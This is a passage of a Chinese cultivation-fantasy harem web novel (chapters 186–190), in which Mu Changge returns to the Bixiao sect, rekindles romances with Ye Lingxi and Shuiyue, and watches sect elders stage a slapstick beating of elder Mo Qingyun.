如今,终于要实现了,哪怕深呼吸,也压制不住躁动的内心。 自己好歹也是碧霄宫圣主,洞虚境修士,在他面前却乱了心境。 “师妹,你那血誓怎的不见了。” 叶灵曦注意到水月额头上隐藏的血色印记消失了,那是她与慕长歌下山剿魔时,立下杀尽天魔门的大道誓言。 水月抬头,轻声道,“三个月前就不见了。” “什么?!” 叶灵曦瞳孔微缩,难掩美眸中的吃惊。 哪怕天魔门元气大伤,可他们这些魔族,远非其他魔修可比,生存手段极其诡异,似能无限再生,他竟能以一己之力将其覆灭。 转念一想,在他身上,似乎没有什么不可能。 下一秒。 两人心口同时一颤,似有一根无形的丝线在牵动。 他们不约而同地望向东南,眼中闪过一丝惊喜。 “是师兄的气息!” 叶灵曦惊呼。 水月点头,两人身影消失原地。 碧霄宫十里外,一道剑光划破长空。 慕长歌脚踏飞剑,衣袍猎猎,望着前方,长舒一口气。 “总算回来了,这一趟可真是...” 离开碧霄宫,本是为寻找气运之女,顺带剿灭天魔门。 可没想到,北域中的天魔门,不过是其中之一,其他三域中,依旧有天魔门的存在。 非但如此,还有最为神秘的魔巢,以及他自身的真实身份,一切谜团等着他去揭晓。 他若没猜错,四大域中的天魔门同气连枝,唯有逐一剿灭了他们,才能寻到魔巢的踪迹。 对上那些先天魔尊,即便是他也没有必赢的把握,以他如今的修为,无需先天魔尊,那些后天魔尊他也不是对手。 所以再次离开之前,他有必要回趟宗门,一来提升实力,二来问下师尊是否知道关于魔巢的事。 他后知后觉,经历了这些事,方才察觉百年前的事似乎不简单,小璃儿打残了天魔门。 倘若执意覆灭了他们,再加上师尊出手,那次必然能够摧毁北域的那些魔物。 可小璃儿并没有这么做,似乎适可而止,有意保留他们,只是让他们苟延残喘地活着。 还有,三千年前那一战,碧霄宫高手损失惨重,可绝非没有存活之人,那些人或许就在宗门。 如此,他师尊妙音未必就是最强者,这个猜测若成立,慕长歌也就稍稍放了心。 当然,此次离开宗门,最让他想不到的是,竟然成了三次亲,也不知水月那丫头知道了,会做何感想。 随着两道流光现出踪迹,三人凌空而立,一时无言。 “师妹们,还好吗?” 慕长歌收起飞剑,含笑问道。 叶灵曦红唇蠕动,“师兄、你瘦了...但还是那般俊美。” 她眸光如水温柔,又带着几分羞涩。 水月轻哼一声,“师兄,到家了,何不解除变身术?” 臭男人,变这么好看出去一趟,不知欺骗了多少无知少女。 慕长歌失笑,“丫头,这才是你们师兄真正的样子啊。” “当真?” 水月眼睛一亮,猛地扑进他怀里,“师兄,我发现我对你的思念,又增加了十倍。” “……” 不是,这丫头要不要这么现实? 第186章 灵曦怯情藏心意,长歌重锤破心防 原来...这才是师兄真正的样子,他不再遮掩,岂不是说要对她们敞开心扉了? 叶灵曦痴痴地看着眼前这张俊美的不像话的脸,没有任何动作,在她眼里,没有任何风景胜过他。 那剑眉星目,鼻若悬胆,唇薄如刃,忽然让她意识到,过去那个看似普通的师兄,究竟隐藏的有多深。 她知道了师兄,可师兄还不知道她,叶灵曦沉默不言,心神早已沉浸,她脑海只冒出几行字。 玉尺量深几许真,琼枝待探月黄昏。 莫嫌洞府幽微处,自有清泉洗风尘。 在慕长歌的注视下,她笑了,笑得极其璀璨。 那目光中的光彩,让慕长歌愣了又愣。 莫名的开心是怎么回事? 为何女人总是莫名其妙,女人心,海底针,实在难猜。 总不能又是想到了开心的事? 这时,水月从慕长歌怀里抬头,眸子直勾勾地笑看他,“师兄,这半年可有想我们?” 慕长歌笑着点头,伸手揉了揉她的发顶,不知不觉间,望着眼前的娇容,多了几分迷离。 还是那张容颜,不同的是,水月早已多了成熟女人的韵味,且她如今的修为,已然提升到了法相六阶。 此般进境,倒也证实了系统不曾欺骗,凡是与他双修,建立羁绊的女子,无形中皆是脱胎换骨。 水月的进境,何尝不是看在叶灵曦眼中,她身为碧霄宫圣主,再这样下去,这身修为可就让水月超越了。 然而,水月一阶接着又一阶的突破,导致全宗的人,从震惊变成了麻木。 叶灵曦也不是没有收获,她的修为俨然突破了洞虚二阶,得益于师兄为她留下的那本大道感悟。 心境的提升,导致她修为突破,可若是再有所进境,却不是短时间能够做到。 除非...师兄能够像对待水月一般的帮她。 “那...小妹晚上让你一解相思之苦。” 她偷偷对着慕长歌说完,还挑衅地看了眼叶灵曦,似是在说,今晚的师兄,她提前预订了。 只是不想,叶灵曦无动于衷,有种重拳打在棉花上的感觉。 “师妹,师兄刚回来,咱们还是尽快回去,也好让师兄休息。” 她不动声色地挤到两人中间,将水月悄悄隔开,翠绿长裙随风轻舞,若有似无地拂过慕长歌的手臂。 “这次回来,可还要离开?” 她抬眸,眼中含着期待。 慕长歌沉吟片刻,“暂且逗留些时日。” 唉。 这丫头也真是,明明很想如水月那般,紧紧地抱住他,却碍于矜持,不敢率性而为。 如此,这份情感将会成为她提升心境的阻碍,不利于修行。 入了情劫就只有两个做法,入则入个彻底,道心澄明,不入则永远不去碰触,但凡有了想法,实则已在情劫之内。 叶灵曦眼中多了些失落,很快恢复如常,她点头,没有多问。 至少,他还会在宗门待上一段时间,这就够了。 望着叶灵曦除此之外毫无表示,就连水月看了都着急,甚至给她传音。 “我的圣主师姐,师兄好不容易回来,你都在干嘛,还不赶紧想什么做什么,他是我们男人,是我们的道侣,做什么是咱们的权利。” 就叶灵曦这个表现,水月都没跟她争宠的兴趣,简直毫无挑战性,何况她们早晚要飞升。 到了上界,就能见到云清璃了,那个女人才是她的对手。 她绝不会忘记慕长歌那句,水月,我喜欢你,但我的选择是云清璃,想想就咬牙切齿。 这句话,只要不是耗尽了寿元,她就能永远记下去,那是她人生中最晦暗,最受打击的一天。 云清璃有什么,不就是比她主动,不就是比她修为强,好不容易熬到了她飞升,自己如愿以偿了。 可不能等到飞升上界后,再次输给那个女人。 一个地方跌倒,就那么趴下去,绝不是她的性子。 与其在云清璃面前抬不起头,她更倾向于让叶灵曦争点气。 到时候她就不信,她们两个女人,还对付不了一个。 等等。 师兄这次出去,有没有给她们找其他姐妹? 水月感到了质疑。 随后,又觉得不太可能,以师兄的性子,见到女人恨不能躲得远远的,连她都费了番精力,才得了手,还是在性命攸关时刻。 嗯... 没错,师兄是正人君子,正到令人发指的地步。 真要有了其他女人,又岂会独自而归。 叶灵曦听到水月的传音稍感诧异,却也未做回应。 “我们...回去吧...” 她躲避着慕长歌的视线,“方才我已传讯莫青云长老,晚上全宗备宴,为师兄接风洗尘,切莫误了时辰。” 看到这,水月都不禁叹了口气。 师姐这性子真的是....罐子里烧炭... 逼迫师兄缔结道侣那日不还挺大胆,等到师兄回来,就怂了? 她算是看出来了,叶灵曦妥妥的逆来顺受型。 越是得不到的东西,她就迫切要得到,真到了那个地步,又开始退缩。 所谓的不谙世事,不通人情世故,也就是如此了,就看师兄怎么调教了。 水月忽然双手抱胸,期待了起来,她知道师兄绝不会让叶灵曦心态扭曲着回去。 毕竟,日后她们姐妹还要好好相处,师兄更不想面对一个永远只敢在背后大胆,且放不开自己性子的女人。 果不其然,慕长歌一声轻喝。 “师妹!” 一道灵光所化的丝线,缠绕住叶灵曦的手腕。 尚未反应过来,叶灵曦御空而起的身影,就被一股轻柔,不容抗拒的力量拉了回去。 而后,她整个人落入一个温暖的怀抱。 “师兄、别、别这样。” 叶灵曦脸颊绯红,象征性地挣扎了两下,不知是慕长歌怀抱太温暖,还是她内心深处根本不想挣脱。 水月暗自翻了个白眼,她果然没看错,师姐就是在罐子里烧炭。 “师妹若想跳下去,师兄不会阻拦,但我想师妹并未将我当做道侣,只是觉得自己作为圣主,理应拥有庇佑宗门的实力。” 慕长歌神色愈发严肃,“我给你选择,继续还是就此止步?” 这一刻,他都有些摸不透叶灵曦了。 他明明在这女人眼里看到了占有欲,可此刻的表现,着实反常了些,也就只好重锤出击。 感受到怀中女人的颤抖,他心中一软,“叶灵曦,你听好,回到宗门你才是圣主,在师兄这里,你只是我的小女人。” 慕长歌捏了捏她的鼻子尖,“若做不好你的小女人,师兄有权决定怎么惩罚你。” “我...知道了。” 她小声应道,嘴角不自觉扬起。 可让慕长歌惊奇的是,就他这番表现,这女人应该被他进一步攻略了才是,系统怎么没有反应? 慕长歌就只好进一步放出大招,他掌中灵光闪烁,“这把剑以你的名字为名,是我耗费了三个月炼制出来的,作为你的礼物。” 那赫然是一把天级灵兵。 慕长歌期待地看着她,眼见这女人欣喜,却迟迟没听到系统攻略的提示,倒是触发了赠宝返还。 看来只能从长计议了,他正要转身,身后传来了声音。 只见叶灵曦手腕一抖,剑光如虹,剑气在山壁上打出一个洞穴。 “师兄,借一步说话。” 她声音忽然变得妩媚,揪住他衣领,将他扯入了洞穴。 一层结界在洞口形成,将内外完全隔绝,看呆了水月。 叶灵曦这是要干嘛? 第187章 双姝争夫破结界,长歌无奈成战利 结界内,叶灵曦将慕长歌抵在了石壁上,眼中闪烁着娇艳的光芒,哪还有半点方才的矜持羞涩? “师、师妹。” 慕长歌咽了口唾沫,“你要干嘛?” “师兄何必明知故问?” 她笑弯了眉眼,纤纤玉手滑过他脸颊,挥手间凝聚出一座柔软的云床,又见洞穴四周亮起了喜庆的红烛。 这番主动差点吓到了慕长歌,这前后的反转,简直判若两人,以前的叶灵曦,尽管意识里主动,也绝对做不出这种事。 对了。 圣心锁! 一定是那东西从某些方面,改变了叶灵曦的性子,就算其他方面未变,在对待他的态度上早已不同。 “师兄方才说要惩罚我?” 她声音又轻又软,指尖点着慕长歌胸膛,“小妹就在这儿,师兄想如何惩罚,我听你的就是。” 水月想看她的笑话,殊不知,她的笑话没那么容易看。 比起主动抱师兄,哪有被师兄主动抱来的令人羡慕? 她酸了那么久,是时候让那丫头酸上一回了,想到水月在外面气到跺脚,就忍不住想笑。 另外,回到宗门哪比得上此处自在。 在这里师兄的时间属于她一个人,回去以后再想这般独处,就要看天时地利人和了。 师兄这般优秀,此番回来打扰的人,定会比之前多了许多。 说不定就是太上长老,也会抽空见他一面。 有些事早晚要做,索性给自己创造条件,提前做了。 她盘算这件事可不是一日两日了,在水月面前示弱,等的就是这个机会。 “师妹啊,不是说好要给我接风洗尘的么,别让大家久等了。” 慕长歌被她逼坐到了云床之上,“再说,你可是圣主,如此草率实在不像话了啊,水月还在外面呢...” “师兄不是说了,在你面前,我只是你的小女人。” 叶灵曦眼冒红芒,一只手搭着他肩膀,“今日师兄就算说破大天,依然休想逃出我的手掌心!” 半年啊! 谁知道她这半年怎么过来的! 这个混蛋离开时一声不吭就跑了,甚至走之前不曾见她一面。 后来水月的修为更是突飞猛进,突破起来犹如吃饭喝水一样轻松,要不是她心境不错,早就崩溃了。 如今逮到了他,说什么也要这个混蛋,弥补一下对她的亏欠。 她还从未见过今日结成道侣,明日就跑路的人,这让叶灵曦在接下来的一段时日里,一致认为是自己逼走了慕长歌。 如此大的心理阴影,不赔偿她个彻底,绝不罢休! “……” 完了啊。 半年不见,这女人魔障了啊。 水月那丫头怎么刺激她了? 这还是叶灵曦么,他都不敢认了。 “师兄可知你的礼物为何没打动我?” 想起她收到天级灵兵时虽是诧异,倒不层有过度表现,慕长歌也就摇了摇头。 叶灵曦似笑非笑,凑近他耳边,“我想要的从来不是天级灵兵,我要的...是师兄这个人,仅此而已。” 话音未落,那翠绿长裙如花瓣般散落,七彩的灵光,笼罩着她如水的身子,只能隐约看到白皙修长的美腿,以及那对精致的玉足。 啪! 随着一个响指,一团灵光遮掩了他们。 不一会儿,就传出叶灵曦略有尴尬的声音。 “那个..师兄...接下来...我该怎么做?” “……” 好吧,是叶灵曦,没被夺舍。 慕长歌大松了一口气。 “叮!恭喜宿主攻略气运之女叶灵曦,攻略进度100%,获得气运值返还195000点,当前气运总值1015000点!” “恭喜宿主获得双重额外奖励,1、法天象地(仙品神通,可化身万丈巨人,力量提升十倍,持续时间根据修为而定)” “2、九窍玲珑诀(天阶极品功法,修炼至大成可通晓万物,一念化万千,修为进度增加十倍)” “恭喜宿主与叶灵曦绑定她修炼,你变强,获得总反哺指数150%,并获得九窍玲珑体属性加成100%。” 听着脑海中一连串的提示,慕长歌无暇其他,只专注着眼前。 结界外。 水月绕着那团翠绿光幕不知转了多少圈,咬牙又跺脚。 谁能想到,那个平日里,端庄矜持的圣主,居然能做出这种事。 最令她气恼的是,她反应过来自己上当了。 叶灵曦此番表现,无外乎四个字,以退为进。 大意了! 亏得自己还鼓励她。 她分明是提前想到回到了宗门,师兄的时间就不单单属于她了,索性一不做,二不休。 趁着师兄对她实施教育,来个反其道而行。 奸贼!恶贼! 你堂堂圣主,居然如此不顾身份! 还有,她这么做,无非是跟她炫耀,同时也在报复她过往享受到的胜利果实。 呵...tui! 水月越想越气,一脚踢飞了旁边的小石子。 嗖! 石子飞向远处,正好砸到路过的一只仙鹤屁股上。 嘎! 仙鹤吃痛,扑闪着翅膀飞走了。 她气呼呼地坐在了一块石头上,从储物戒里掏出一把瓜子,咔嚓地磕了起来。 “哼!叶灵曦,有本事你在里面待一辈子!” 水月丢掉了瓜子,什么五香味的,一点都不香,回去就敲炸沉鱼那丫头的头。 阿嚏! 碧霄宫外的苏沉鱼,莫名打了个喷嚏,背后有点发凉。 山门外的雷烈背着手来回踱步,时不时抬头看天,“清霜,多久了?” “三个时辰。” 冷清霜面无表情。 雷烈转向莫青云,没好气地问,“老慕,你确认没搞错,是圣主传讯说慕师兄回来了? “此等大事,老夫岂能搞错。” 这位执法长老捋着胡须一叹,“此前,破天峰的动静,还有圣主突然出关,你们又不是感应不到。” “那人呢?” 雷烈挑眉。 他可不信有什么强者,能挡住圣主以及水月师妹,还有他那位慕师兄的联手。 就他们三位,都够去灭门了。 “是啊,人呢?” 慕青云疑惑道。 众人齐声,“问你啊!” “……” 他一声干咳,“那个...谁...抓紧去督促一下负责晚宴的弟子,等到圣主他们归来,咱们全宗开席!” “……” 结界外,水月终于忍无可忍。 “等什么等!” 她猛地起身,剑指寒光四溢,“凭什么老娘一个人在这儿干等,既然无法阻止,那我就加入!” 轰! 结界破碎。 正要出来的慕长歌,又被气势汹汹的水月拎了进去,里面传来惊慌的呼喊。 “诶诶诶,水月师妹你要干嘛?” “师兄诚心诚意地邀请了,小妹岂敢说不呢~” 不是? 他邀请什么了! 抗议的声音戛然而止,连同着结界一同闭合。 慕长歌欲哭无泪,什么叫惨,这就是。 你们两个女人争斗,薅他羊毛做甚? 他可是在回来的路上飞了三天两夜,眼看着赶回了家门口,连口热茶都没喝上,这转眼又彻底飞了。 “叮!恭喜宿主修为精进,当前境界:化神100阶,再接再厉!” …… 山门外,已至夜色。 月光如水,洒在青石板上,草丛中的虫鸣此起彼伏,像是在讽刺这群等待的可怜人。 雷烈蹲在地上,百无聊赖地弹着石子,“清霜,几个时辰了?” “四个时辰。” 冷清霜面无表情,与苏沉鱼她们围坐一旁嗑着瓜子。 “……” 第188章 莫青云惨遭群殴,苏沉鱼深藏功与名 短暂又诡异的沉默氛围过后,众人再度齐刷刷地看向了莫青云。 莫青云缩了缩脖子,“那个...我去看下晚宴准备得如何了。” 此时不跑,更待何时。 “诸位,别让这老登逃了,扁他!” 雷烈狞笑,一尊金刚怒目法相手持巨剑,拦住了逃跑的莫青云。 紧随而止,惨叫声响彻山门。 杨铁心丢出各种新炼制的灵兵法器,药尘子则是爆裂丹,痒痒粉,不要钱似的,往尘埃之中的惨叫声源里丢去。 众弟子们纷纷退后,生怕被祸及池鱼。 “圣主,你害惨了我啊!” 他的叫声回荡不绝,被围在中间,鼻青脸肿地伸出一只手,“圣主误我啊!” “啥?污蔑圣主?给我扁,往冒烟了扁!” 杨铁心撸起了袖子。 药尘子:“小子们,给我上啊,打得好老夫赏他一块上品灵石!” 丹峰虽然啥都缺,就是不缺灵石和丹药! 不知谁喊了一声冲,数十名弟子蜂拥而上。 “等等!我是执法长老!” 莫青云惊恐地大喊,“你们这是以下犯上!” 啪! 一块板砖精准地拍在他脸上。 莫青云捂着鼻子哀嚎,哪个弟子这么缺德,用暗器偷袭? 远处,苏沉鱼默默收回手,深藏功与名。 …… 三道身影终于出现在了山门前。 “我等恭迎圣主,慕长老,水月仙尊归来!” 众人齐刷刷执道礼,动作整齐划一。 莫青云趴在地上,艰难地抬起头,当他看清来人,内牛满面。 “师兄!” 他连滚带爬扑向慕长歌,一把抱住他的腿,“师兄!我太惨了,你要给我做主啊!” “……” 慕长歌踢开他,远离了几步,“你哪位?” 他低头看着这位鼻青脸肿的执法长老,又看了看周围憋笑的众人,一时之间不该说什么是好。 堂堂执法长老,被打成了这个模样,丢人呐... 叶灵曦轻咳一声,“莫长老,你这是?” “圣主啊,呜呜呜....” 他爬了过去,下意识就要抱住叶灵曦的腿哭诉,哪料叶灵曦比他还要下意识,莫青云靠近的瞬间,就见一道白皙的光华闪过。 等他反应过来,被踢飞了三米。 叶灵曦掩唇,“那个,莫长老,本座不是故意的,有话直说就好,你这样实在不成体统。” “原来是莫师弟,抱歉哈,为兄没认出你这英俊潇洒的容貌。” 慕长歌上前将他扶起,“看样子你是在迎接我,那为兄岂能让你受委屈,跟我说说,谁欺负你了,为兄给你做主!” 莫青云愣了愣,这老登终于良心发现了。 他怒指雷烈,一顿如此如此,这般这般的阐述。 雷烈切了声,“圣主,师兄,说话要讲证据,说我带人打他,不妨问问众弟子,可有这回事?” 一众弟子整齐摇头,让莫青云悬着的心彻底死掉了。 药尘子上前拍着他肩膀,“莫师弟,何必斤斤计较,不过是些皮外伤,师兄送你枚疗伤丹就是了。” 莫青云斜睨他一眼,轻哼一声,这是皮外伤的事么,这是损害他幼小的心灵。 不过他手上的动作蛮实诚,捏住那丹药就往嘴里送,只是砰的一声就炸了,气浪将他掀飞了出去。 这一刻的莫青云躺在地上动也不动,只有缕缕黑烟升起。 碧霄...不值得... “那个,你们谁去看一下,有口气就抬走,没气了就地掩埋,谁想趁机补上两脚的,赐上品灵石三块。” 对于众弟子而言,药尘子此刻给的更多了,但在圣主面前,谁又敢造次呢。 可慕长歌摸着下巴,总觉得刚才那番话,怎么就听着那么耳熟。 此刻,药尘子面露谄媚的笑,上前与慕长歌勾肩搭背,“老慕啊,可喜欢这个迎你回来的方式啊?” “还行。” 慕长歌摸着下巴,看着尚在躺尸的莫青云,认真道,“就是有点费执法长老。” “诶,小事小事,铁打的执法戒律堂,流水的执法长老,旧的不去,新的不来。” 药沉子招呼着众人,“来啊,把莫师弟的头拧下来,给你们长歌长老助个兴!” “……” 这个助兴方式独特,但很有局限性,每个人一生只能用一次。 “师兄!” 雷烈大步向前,一把搂住慕长歌的肩膀,“你这一走就是数月,可把师弟我想坏了!” 他挤眉弄眼地压低声音,“晚宴我都让人准备好了,咱们边喝边聊怎么样?” 躺尸的莫青云吐了口血。 雷疯子他不当人子,张口就是他准备的晚宴,跟他有毛关系? 慕长歌会意一笑,转过对叶灵曦和水月道,“带大家先进去,我稍后就来。” 待众人离去,他取出一枚丹药递给雷烈,“速将这枚丹药给莫师弟服下。” “师兄放心!” 雷烈拍着胸脯保证。 慕长歌走远,他抬脚踢了踢莫青云,“还活着不?” 莫青云一动不动,只有嘴里还在机械性地重复着。 碧霄不值得... 雷烈把丹药在他眼前晃了晃。 “师兄给的丹药肯定不一般,让我替你尝尝。” 他反手丢进自己嘴里,咕咚吞了下去,“嗯~味道不错。” 雷烈咂咂嘴,转身就走。 “……” 莫青云颤巍巍抬手。 畜....畜生啊! 宴席上,踌躇交错。 慕长歌一杯接一杯地喝着。 水月坐在他身边,时不时给他夹菜倒酒,不忘看了眼坐在圣主位置上的叶灵曦,勾动红唇向她投去一笑。 叶灵曦内心感叹着,这圣主谁想做谁做,她真的不想做。 与师兄隐居在桃林,那才是潇洒恣意的生活。 “雷师弟,莫师弟呢?” 慕长歌放下杯子问道。 与此,殿内的众人齐齐看向了雷烈。 雷烈面不改色,“哦,他说身体不适,就不参加晚宴了,依我看,他就是瞧不起师兄,必须脑袋拧掉当球踢。” “……” 慕长歌抽了抽嘴角。 你们能不能换个人祸祸,人家老莫虽说死板了些,可也是个老实人啊。 他叹了口气,就见水月将灵果递到了嘴边。 一时之间,在场不知多少女人差点掰断了手里的筷子,并反复告诫自己打不过,不然的话,坐在那里的就不是水月了。 角落里。 苏沉鱼小声对沈碧瑶道,“我方才听到莫长老被抬去丹峰了。” 沈碧瑶掩嘴偷笑,好惨一长老,不过... 她看向慕长歌的目光中,流露出不一样的光芒,能为他助个兴,莫长老想来很开心的吧。 丹峰,药房。 莫青云躺在病床上,生无可恋地望着天花板,依旧在念叨着碧霄不值得。 “师叔,您的伤好了,可以离开了。” 沈落雁一脸无奈,宗门上下都在开宴,只有她还要在药房值守。 值守就算了,一枚丹药的事,可治好了莫青云,他就跟失了魂一样,躺在这儿说啥不肯走。 “有些伤是由内而外的。” 莫青云侧了下头,终于不再重复那一句。 啪! 沈落雁打了个响指,“事无绝对,遇上我没有治不好的伤,快乐丹,吃了以后快乐似神仙!” 她掰开莫青云的嘴,强行喂服。 三秒后。 莫青云手舞足蹈地跳下床,抱着殿外的廊柱爬了起来。 沈落雁默默掏出记录册。 快乐丹:三秒生效。 副作用:异常热情,建议慎用。 总结:瑕疵之作。 试验工具人:莫青云 第189章 桃林月下悟大道,太上忘情非无情 夜幕深沉,月光皎洁。 慕长歌站在自己的桃林小院,感受到周围的桃花香,以及飘落在空中的桃花瓣,一切那么美好,一切那么宁静。 晚宴结束后,他本是想去拜见妙音,但想了想,天色已晚。 师尊定然知晓他已经归来,不曾第一时间召唤他过去,就是想让他休息一下。 当他睁开眼睛看向一旁的石桌,挥手间浮现出一杯清茶,茶水波纹荡漾,晕散开云清璃的面容。 小璃儿,你在上界还好吗? 等到师兄解决了下界的事,就飞升去上界寻你。 他眉头皱起,浅尝着杯中清茶,虽是同样的茶,但在桃林品尝,似乎给了他不一样的感觉。 是宁静与安心,这是外界任何地方都无法相比的,他绝不允许那些魔物以及魔巢,毁了他这一生最想守护的地方。 实力! 他需要提升实力,如此才有更大的把握,去到其他三域解决那里的魔修。 另外,北域的魔修碍于百年前被小璃儿打残的缘故,让他此番离开宗门后,从而不费吹灰之力将他们解决。 可其他三域状况如何,天魔门的实力又如何,以及拥有多少个渡劫境的魔尊他一无所知。 “师兄在想什么?” 一道声音传进他耳朵,却是叶灵曦悄无声息来到了桃林。 她迈动翠绿长裙下的修长美腿,踏着一双天然绿的高跟鞋,噙着迷人的笑,优雅坐在他身侧,小脑袋依偎上他肩头。 慕长歌嗅着她身上的清香,“师妹怎么来了?” “想师兄了,就想过来陪陪师兄。” 叶灵曦俏脸微红,发丝在月光下泛着柔和的光泽。 她扬起脸,“师兄这半年...可有想过我?” “你说呢?” 慕长歌那张笑吟吟的面孔,看得她心头一颤。 此前,师兄一声不响地跑路了,打了她一个措手不及,尤其在她与他成为道侣之后,不禁让她多想了些。 可这份担忧,随着师兄的归来,全部烟消云散,他只是不想替代自己,成为碧霄宫的圣主。 他的离开又何尝不是为她考虑,那番表现,不仅看在一众长老眼里,更看在众弟子眼里。 那般万丈的光芒,超越了她这个圣主,唯有离开,才不会对她造成压力。 况且他回来后,与之前逼迫他缔结道侣时,像是全然换了个人,师兄主动了许多。 若非如此,又岂会在那个山洞,就与她成为真正的道侣。 她知道,师兄若非有意,没人能够强迫他。 “灵曦啊,说实在的,我从未想过你会进入情劫,更没想过你会成为我的女人。” 慕长歌抬头望天,“以前的我,只想成为一条咸鱼,谁会喜欢那样的我呢。” “师兄是在韬光养晦。” 她从他肩头抬起脑袋,红唇泛着光泽,“我们之中只有清璃师姐最为聪慧,她一眼就看出师兄的不同,只有我们耳目不明。” 闻言,慕长歌心中苦笑。 那哪是小璃儿比她们聪明,不过是他拥有以前的记忆,懂得如何讨女人欢心罢了。 小璃儿那样的天之骄女,根本找不到比她自己要强的男人。 既然如此,何不按照心意,不夹杂其他因素,单方面找个能带给她欢乐的男人? “师兄可知,晚宴时,我看到水月坐在你身边有多想跟她一样?” 她将小手放在茶杯上,端了起来,“眼下只有我们两个了,我可以如愿服侍师兄了。” “你是圣主,自然与水月不同。” 慕长歌将茶喝下,握住她的小手,“你的责任是守护碧霄宫,守护我们的家,这胜过所有。” “我...不单单是圣主。” 她放下茶杯,看着他的眼睛,“我还是灵曦...你的一个小女人,为了师兄,我甘愿陷入情劫。” “师兄对我的喜欢,灵曦可以感受得到,这便不是情劫,未有这般体会,如何提升心境?” 她低声呢喃,“太上忘情是为心境最高之磨砺,有人深陷情劫,领悟其中之道,有人刻意规避,封锁自身,但无情之人,如何能懂大道。” “不错。” 慕长歌点着头,“太上忘情并非无情,而是从其中超脱,由小情化为大情。” 小情?大情? 叶灵曦眸光微动,似有星辰流转。 小情是独守一人,大情是兼济天下,可若连自己要守护的东西都做不到守护,又谈何其他? 她指尖轻点茶杯,水面泛起涟漪。 杯中茶,看似只盛一汪清水,却能映照整片星空。 情之一道,亦是如此。 忽见她周身泛起七彩霞光,九道玲珑光环自体内浮现,在空中交织成玄妙图案。 叶灵曦双眸紧闭,气息节节攀升。 原来如此,情不为劫,反为助力,正如清璃师姐留下的感悟,以情入道,方知大道至情。 轰! 一道灵光冲天而起,叶灵曦的修为,竟直接从洞虚二阶突破洞虚四阶,更惊人的是,隐约有大道之音回荡。 异象如涟漪般扩散,惊动了整个碧霄宫。 “这股气息是...” 方长身影出现在半空,眼中满是惊骇,作为圣主的暗卫以及宗门圣子,对宗门内的每道气息他几乎了如指掌。 可眼前这道七彩流光中蕴含的大道韵律,让他既有熟悉中的陌生,又有震撼。 如果慕长歌在的话,会给他一个合适的比喻,那就是一个让你无比熟悉的人,忽然做了整容,尽管熟悉,又看起来不熟悉。 “是圣主!” 白裙飘飘的白熙苒突兀出现在他身侧。 她悄然握紧粉拳,眼中闪烁着复杂,望向霞光源头,那片被月光笼罩的桃林,心中掀起惊涛骇浪。 圣主修为大进,水月仙尊此前也突飞猛进,还有林婉儿,沈碧瑶等人...莫非是因为... 白熙苒眼眸流转,一个大胆的猜测浮上心头,她下意识咬住下唇,粉拳握紧更紧。 破天峰。 苏沉鱼仰望着天际的异象,惊讶道,“师尊,圣主突破了?” “有他在,想不突破都难。” 水月撇撇大红唇子,漫不经心地修剪着指甲。 苏沉鱼眨了眨眼,“那师尊,您为何?” 她欲言又止,想问师尊为何放着眼前的机会,让给了叶灵曦。 “她是圣主,一宗之颜面。” 水月轻笑一声,指尖轻弹,“而我岂能不识大体,独自霸占着师兄,再者...她亦是与师兄缔结了道侣。” “道侣?!” 苏沉鱼掩住红唇,眼中掠过绯然之色。 原来还能这么做! 前辈那般非比寻常,圣主动情也在情理之中。 既然师尊能容得下圣主,那作为嫡传大弟子的她... “师尊!” 苏沉鱼挺直腰板,一脸正义凛然,“我决定了,作为破天峰大师姐,以后还要继承您的衣钵,岂能给您丢脸,所以...” “我去拜托一下慕前辈,帮我提升修为!” 她脚尖轻点,作势就要飞起。 只是—— 嗖! 一道红绫从水月袖中飞出,缠住了她的脚腕。 第190章 圣主索偿烛摇红,长歌肩头承道侣 “啊!师尊饶鱼命!” 苏沉鱼被甩动得在半空成了条弧线,与地面来了个亲密接触。 水月箭步上前,揪住她耳朵,“乖徒儿,为师想吃鱼了呢~” “徒儿这就去给你抓鱼!” 苏沉鱼一个激灵,侧过头望着眼冒红芒的水月,讪笑。 她挣扎着要跑,手臂在空中一圈接着一圈地挥动。 “眼前不就有一条大鱼。” 水月笑得很迷人,凑上前闻了闻,掌间冒起了净世莲火,“闻起来挺香的,做成烤鱼滋味一定不错。” “不要啊师尊,我知道错了!” 苏沉鱼撒丫子开溜。 水月后面追赶,并表示这番话,可以跟她的鸡毛掸子说。 啪! 一记抽打命中了苏沉鱼。 她嗷的一声,捂着屁股跳了起来,“师尊,那里不能打!” 水月挑眉,“那为师可偏要打!” 苏沉鱼眼珠一转,突然指向远处。 “师尊快看,慕前辈来了!” 水月下意识回头。 苏沉鱼趁机一个翻滚躲到树后,捏住一张遁符就要开溜。 水月袖中飞出的红绫,如灵蛇将她捆成了粽子。 “师尊!” 苏沉鱼哭丧着脸,“弟子真的知错了。” “错哪了?” “不该想慕师伯。” “还有呢?” “要等到师尊先享用够了,嗷~” 啪! 啪啪啪! 鸡毛掸子雨点般落下,苏沉鱼的惨叫响彻破天峰。 远处,沈碧瑶默默捂住耳朵,师姐又用作死的方式,逗师尊开心了。 果然...铁打的沉鱼.... 桃林,小院内。 叶灵曦收敛气息,七彩霞光渐渐隐入体内。 她抬眸望向慕长歌,含情脉脉中带着几分羞涩,就是不说话。 慕长歌被她那火热的眼神看得摸了摸鼻子,“师妹,为何这般看着为兄?” “我想把师兄藏起来,谁也不给看。” 她的笑,沁人心脾。 慕长歌失笑,“堂堂圣主,怎么跟个小女孩似的?” “以前是,现在...是女人。” 月光下她的眼眸亮得惊人,“师兄可否跟我说说离开宗门这段时日的经历,我想知道你过得好不好。” 慕长歌沉吟片刻,几片花瓣落在两人之间。 期间,叶灵曦听得入神,又皱眉不已。 “这么说,天魔门真的被师兄覆灭了?” 叶灵曦眼中闪过震惊。 “只是北域分部,还有其他三域还有他们,以及魔巢。” 随后,他讲过了天风城,合欢宗发生的事,再到神煌王朝,唯独不曾提及南宫媚儿,季清晚,再就是昭阳。 并非慕长歌有意隐瞒,而是不想...破坏了氛围。 在一个女人面前,提起另一个女人,永远是不明智的,特别是在夜深人静,彼此独处之时。 “何为魔巢?” 叶灵曦紧皱着黛眉。 慕长歌眼中闪过一丝阴霾,“此物,便是三千前那些先天魔尊的诞生之地,唯有覆灭魔巢,方可彻底解除隐患。” 叶灵曦不再说话,也不再问下去。 直到此刻,她才知道师兄一个人面对了多大的压力。 以他们的实力,纵然能找到魔巢,其中的凶险不想也知。 若非三千年前那一战,如今碧霄宫的底蕴,何至于衰败至此。 “师兄要答应我,今后离去若事不可为,切莫置身险境。” 她抓住他的手,“我们是你的后盾,没了师兄的长矛,盾就失去了意义。” 